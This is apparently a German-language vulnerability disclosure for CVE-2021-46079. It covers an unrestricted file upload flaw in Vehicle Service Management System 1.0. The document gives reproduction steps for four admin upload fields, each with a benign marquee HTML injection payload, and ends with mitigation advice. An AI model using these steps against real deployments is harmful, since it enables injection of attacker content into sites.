CVE-2021-46079
Exploit-Titel: Vehicle Service Management System - 'Multiple' Datei-Upload führt zu HTML-Injection
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Referenzen:
Beschreibung:
In Sourcecodester Vehicle Service Management System 1.0 besteht eine Schwachstelle durch uneingeschränkten Datei-Upload (Unrestricted File Upload). Ein entfernter Angreifer kann schädliche Dateien hochladen, was zu HTML-Injection führt.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich My Account: http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
- Geben Sie im Bereich My Account alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Die HTML-Injection wird ausgeführt.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich User List und klicken Sie auf die Schaltfläche Create New.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
- Geben Sie auf der Seite Create New User alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf die Schaltfläche Save.
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Die HTML-Injection wird ausgeführt.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich Settings: http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
- Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System Logo aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das System-Logo-Bild in einem neuen Tab.
- Die HTML-Injection wird ausgeführt.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich Settings: http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B. als Html Injection.html
- Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website Cover aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
- Die HTML-Injection wird ausgeführt.
Auswirkungen:
Ein Angreifer kann an mehreren Endpunkten schädliche Dateien hochladen, was zu HTML-Injection führt.
Gegenmaßnahmen:
Es wird empfohlen, Folgendes umzusetzen:
- Akzeptieren Sie einen Dateinamen und seine Erweiterung niemals direkt ohne einen Whitelist-Filter.
- Wenn keine Unicode-Zeichen benötigt werden, wird dringend empfohlen, als Eingabe für Dateiname und Erweiterung nur alphanumerische Zeichen und genau einen Punkt zu akzeptieren.
- Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
- Das Upload-Verzeichnis sollte keinerlei „Ausführen"-Berechtigung besitzen.
- Verlassen Sie sich nicht ausschließlich auf die clientseitige Validierung.